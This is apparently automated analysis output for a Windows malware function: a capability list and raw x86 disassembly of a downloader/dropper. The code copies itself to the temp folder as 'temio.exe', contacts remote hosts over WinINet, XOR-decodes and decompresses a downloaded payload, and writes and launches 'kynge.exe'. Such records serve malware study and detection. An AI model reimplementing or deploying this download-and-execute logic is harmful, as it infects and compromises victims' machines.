Function at 0x3851020
Capabilities:
Compress data via winapi
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Get file size
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x834
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push 0x100000
push esi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, 0x2000
push ebx
push 8
push eax
mov dword [esp + 0x30], eax
call ebp
push ebx
push 8
push dword [esp + 0x2c]
mov edi, eax
call ebp
push ebx
push edi
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebp
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.temio.exe
push ebp
push 0x385214c
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x38510c2
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x834
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push edi
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebx + eax*2 + 4]
push eax
push 8
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
cmp ebx, esi
jne 0x38510f6
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x1c]
push ebx
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x38511ad
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
mov eax, dword [esp + 0x18]
push edi
add eax, ebx
push eax
call section..text
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x38510b4
push esi
lea eax, [esp + 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x1c]
lea eax, [ecx + eax*2 + 4]
push eax
push ebx
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [esp + 0x18]
call ebx
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
push edi
push esi
push ebp
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
jmp 0x38510f0
mov eax, dword [ebx + 0x3c]
push dword [esp + 0x10]
add eax, ebx
movzx ecx, word [eax + 6]
imul ecx, ecx, 0x28
lea eax, [ecx + eax + 0xd0]
mov edi, dword [eax + 0x14]
add edi, dword [eax + 0x10]
add edi, ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x38511f2
inc dword [esp + 0x1c]
push 1
push 0x64
call dword [sym.imp.KERNEL32.dll_SleepEx]
cmp dword [esp + 0x1c], 0xbb8
jg 0x38511f9
push edi
call ebx
test eax, eax
je 0x38511da
push esi
push esi
push esi
push esi
push str.Peers12
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esp + 0x30], eax
cmp eax, esi
je 0x38510b4
or dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x34], str.text_
mov dword [esp + 0x38], str.application_
mov dword [esp + 0x3c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x14], esi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 1
jle 0x385124e
push 1
push 0xa
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_SleepEx]
cmp dword [esp + 0x20], esi
je 0x385125e
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [esp + 0x14], esi
je 0x3851272
push dword [esp + 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [esp + 0x14], esi
xor ebx, ebx
mov eax, dword [esp + 0x10]
push esi
push esi
push 3
push esi
push esi
push 0x50
push dword [eax*4 + section..data]
push dword [esp + 0x4c]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov edi, eax
mov dword [esp + 0x20], edi
cmp edi, esi
jne 0x38512a3
inc ebx
cmp ebx, 3
jl 0x3851274
jmp 0x3851235
xor ebp, ebp
push esi
push 0x80000000
lea eax, [esp + 0x3c]
push eax
mov eax, dword [esp + 0x1c]
push esi
push esi
push dword [eax*4 + 0x3853008]
push esi
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
mov dword [esp + 0x14], ebx
cmp ebx, esi
jne 0x38512da
inc ebp
cmp ebp, 3
jl 0x38512a5
jmp 0x3851235
xor edi, edi
push esi
push esi
push esi
push esi
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x38512f1
inc edi
cmp edi, 2
jl 0x38512dc
cmp edi, 2
je 0x3851235
mov ebx, dword [esp + 0x18]
cmp ebx, esi
jne 0x3851321
push 0xdbba0
push 8
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x18], eax
cmp eax, esi
je 0x38510b4
mov ebx, eax
mov dword [esp + 0x28], esi
mov ebp, 0xdbba0
mov dword [esp + 0x1c], esi
lea eax, [esp + 0x28]
push eax
push ebp
mov edi, ebx
push ebx
jmp 0x385134c
mov eax, dword [esp + 0x28]
add edi, eax
sub ebp, eax
cmp eax, esi
je 0x385135a
lea eax, [esp + 0x28]
push eax
push ebp
push edi
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x3851339
mov eax, edi
sub eax, ebx
cmp eax, 0x7d0
jg 0x3851370
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0x14
jl 0x385132e
cmp dword [esp + 0x1c], 0x14
je 0x3851235
sub edi, ebx
mov ebp, edi
shl ebp, 2
push ebp
push 8
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x18], eax
cmp eax, esi
je 0x38510b4
mov dword [esp + 0x2c], edi
cmp byte [ebx], 0x4d
jne 0x38513ae
cmp byte [ebx + 1], 0x5a
je 0x385142f
mov eax, dword [esp + 0x10]
mov edx, dword [eax*4 + 0x3853010]
xor eax, eax
mov ecx, edi
inc eax
shr ecx, 2
cmp ecx, eax
jbe 0x38513cd
xor dword [ebx + eax*4], edx
inc eax
cmp eax, ecx
jb 0x38513c5
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x20], eax
cmp eax, esi
je 0x38510b4
push str.RtlDecompressBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x3853018], eax
cmp eax, esi
jne 0x3851408
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x38510b4
lea ecx, [esp + 0x2c]
push ecx
add edi, 0xfffffffc
push edi
add ebx, 4
push ebx
push ebp
push dword [esp + 0x28]
mov dword [esp + 0x40], esi
push 0x102
call eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
mov ebp, str.kynge.exe
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
mov edi, eax
lea eax, [esp + 0x44]
push eax
push dword [esp + 0x34]
push dword [esp + 0x24]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push dword [esp + 0x2c]
call edi
push ebx
push esi
push dword [esp + 0x2c]
call edi
lea eax, [esp + 0x44]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebp
lea eax, [esp + 0x48]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push esi
push esi
lea eax, [esp + 0x50]
push eax
jmp 0x385119b